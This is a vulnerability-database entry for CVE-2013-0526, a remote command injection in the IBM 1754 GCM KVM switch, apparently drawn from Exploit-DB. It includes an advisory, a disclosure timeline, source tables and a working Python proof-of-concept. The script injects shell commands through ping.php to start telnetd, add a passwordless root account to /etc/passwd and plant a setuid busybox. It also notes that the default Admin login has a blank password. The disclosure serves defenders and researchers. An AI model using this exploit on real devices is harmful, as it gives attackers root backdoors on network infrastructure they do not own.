ID
VAR-E-201308-0128
CVE
| cve_id: | CVE-2013-0526 | Trust: 3.0 |
EDB ID
27706
TITLE
IBM 1754 GCM 1.18.0.22011 - Remote Command Execution - Hardware remote Exploit
Trust: 0.6
DESCRIPTION
IBM 1754 GCM 1.18.0.22011 - Remote Command Execution. CVE-2013-0526CVE-96389 . remote exploit for Hardware platform
Trust: 0.6
AFFECTED PRODUCTS
| vendor: | ibm | model: | gcm | scope: | eq | version: | 17541.18.0.22011 | Trust: 1.6 |
| vendor: | ibm | model: | gcm16 | scope: | eq | version: | 17541.18.0.22011 | Trust: 0.5 |
| vendor: | ibm | model: | gcm32 global console manager | scope: | eq | version: | 17541.18.0.22011 | Trust: 0.3 |
| vendor: | ibm | model: | gcm16 global console manager | scope: | eq | version: | 17541.18.0.22011 | Trust: 0.3 |
| vendor: | ibm | model: | gcm32 global console manager | scope: | ne | version: | 17541.20.0.22575 | Trust: 0.3 |
| vendor: | ibm | model: | gcm16 global console manager | scope: | ne | version: | 17541.20.0.22575 | Trust: 0.3 |
EXPLOIT
I. Product description
The IBM 1754 GCM family provides KVM over IP and serial console management
technology in a single appliance.
II. Vulnerability information
Impact: Command execution
Remotely exploitable: yes
CVE: 2013-0526
CVS Score: 8.5
III. Vulnerability details
GCM16 (v.1.18.0.22011) and older versions of this KVM switch contain a flaw
that allows a remote authenticated user to execute unauthorized commands as
root.
This flaw exist because webapp variables are not sanitised. In this case,
parameters $count and $size from ping.php allow to create a special crafted
URL to inject text to an exec() so it can be arbitrary used to execute any
command on the KVM embedded linux.
IV. Proof of concept
Following is a simple exploit that lead to root access to the device,
opening a telnet and creating a new user with root permission without
password (sessid and target are hardcoded so it must be changed to work):
#!/usr/bin/python
"""
This exploit for Avocent KVM switch allows to gain root access to embedded
device. SessionId (avctSessionId) is neccesary for this to work, so you
need a valid user. Default user is "Admin" with blank password.
After running exploit, connect using telnet to device with user target
(pass: target) then do "/tmp/su - superb" to gain root
"""
from StringIO import StringIO
import pycurl
import re
sessid = "XXXXXXXXX"
target = "https://ip.of.kvm/ping.php" <https://172.30.30.40/ping.php>
command = "/sbin/telnetd ; echo superb::0:0:owned:/:/bin/sh >> /etc/passwd
; cp /bin/busybox /tmp/su ; chmod 6755 /tmp/su ; echo done. now connect to
device using telnet with user target and pass target, then \"/tmp/su -
superb\""
storage = StringIO()
c = pycurl.Curl()
c.setopt(c.URL, target)
c.setopt(c.SSL_VERIFYPEER,0)
c.setopt(c.SSL_VERIFYHOST,0)
c.setopt(c.WRITEFUNCTION,storage.write)
c.setopt(c.POSTFIELDS, 'address=255.255.255.255&action=ping&size=56&count=1
; echo *E* ; ' + command + ' ; echo *E*')
c.setopt(c.COOKIE,'avctSessionId=' + sessid)
try:
c.perform()
c.close()
except:
print ""
content = storage.getvalue()
x1 = re.search(r"\*E\*(.*)\*E\*",content)
print x1.group(1).replace("<br />","\n")
V. Vendor Response
IBM released a new firmware that corrects this vulnerability (1.20.0.22575)
VI. Timeline
2013-06-12 - Vendor (IBM PSIRT) notified.
2013-06-12 - Vendor assigns internal ID.
2013-07-02 - Vendor confirms the vulnerability.
2013-08-16 - Vulnerability disclosed and patch released.
VII. External information
Information about this vulnerability (in spanish):
http://www.bitcloud.es/2013/08/vulnerabilidad-en-kvms-gcm1632-de-ibm.html
IBM Security Bulletin:
http://www-947.ibm.com/support/entry/portal/docdisplay?lndocid=MIGR-5093509
--
--
Alejandro Alvarez Bravo
alex.a.bravo@gmail.com
Trust: 1.0
EXPLOIT LANGUAGE
txt
Trust: 0.6
PRICE
free
Trust: 0.6
TYPE
Remote Command Execution
Trust: 1.6
TAGS
| tag: | exploit | Trust: 0.5 |
| tag: | remote | Trust: 0.5 |
| tag: | arbitrary | Trust: 0.5 |
| tag: | root | Trust: 0.5 |
| tag: | php | Trust: 0.5 |
CREDITS
Alejandro Alvarez Bravo
Trust: 0.6
EXTERNAL IDS
| db: | NVD | id: | CVE-2013-0526 | Trust: 3.0 |
| db: | EXPLOIT-DB | id: | 27706 | Trust: 1.6 |
| db: | 0DAYTODAY | id: | 21122 | Trust: 0.6 |
| db: | EDBNET | id: | 20956 | Trust: 0.6 |
| db: | EDBNET | id: | 49564 | Trust: 0.6 |
| db: | PACKETSTORM | id: | 122843 | Trust: 0.5 |
| db: | BID | id: | 61816 | Trust: 0.3 |
REFERENCES
| url: | https://nvd.nist.gov/vuln/detail/cve-2013-0526 | Trust: 2.7 |
| url: | https://0day.today/exploits/21122 | Trust: 0.6 |
| url: | https://www.exploit-db.com/exploits/27706/ | Trust: 0.6 |
| url: | http://www.redbooks.ibm.com/abstracts/tips0772.html | Trust: 0.3 |
| url: | http://seclists.org/fulldisclosure/2013/aug/180 | Trust: 0.3 |
| url: | http://www-947.ibm.com/support/entry/portal/docdisplay?lndocid=migr-5093509 | Trust: 0.3 |
SOURCES
| db: | BID | id: | 61816 |
| db: | PACKETSTORM | id: | 122843 |
| db: | EXPLOIT-DB | id: | 27706 |
| db: | EDBNET | id: | 20956 |
| db: | EDBNET | id: | 49564 |
LAST UPDATE DATE
2022-07-27T09:12:04.050000+00:00
SOURCES UPDATE DATE
| db: | BID | id: | 61816 | date: | 2013-08-16T00:00:00 |
SOURCES RELEASE DATE
| db: | BID | id: | 61816 | date: | 2013-08-16T00:00:00 |
| db: | PACKETSTORM | id: | 122843 | date: | 2013-08-16T23:18:07 |
| db: | EXPLOIT-DB | id: | 27706 | date: | 2013-08-19T00:00:00 |
| db: | EDBNET | id: | 20956 | date: | 2013-08-17T00:00:00 |
| db: | EDBNET | id: | 49564 | date: | 2013-08-19T00:00:00 |